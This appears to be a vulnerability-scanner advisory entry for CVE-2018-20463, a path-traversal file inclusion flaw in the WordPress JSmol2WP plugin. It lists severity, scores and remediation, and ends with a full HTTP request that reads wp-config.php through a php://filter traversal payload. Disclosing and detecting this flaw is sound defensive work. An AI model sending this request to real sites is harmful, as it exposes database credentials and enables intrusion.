| Title | WordPress JSmol2WP <=1.07 - Local File Inclusion |
|---|---|
| Author | vinit989 |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. |
| Remediation | Update to the latest version of the JSmol2WP plugin (>=1.08) or remove the plugin if it is not necessary. |
| CVSS Score | 7.5 |
| EPSS Score | 0.7612 |
| CVE ID | CVE-2018-20463 |
| CWE ID | CWE-22 |
| Tags | cve cve2018 wp wp-plugin wordpress jsmol2wp wpscan traversal jsmol2wp_project vkev vuln |
WordPress JSmol2WP plugin 1.07 is susceptible to local file inclusion via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This can also be exploited for server-side request forgery.
GET /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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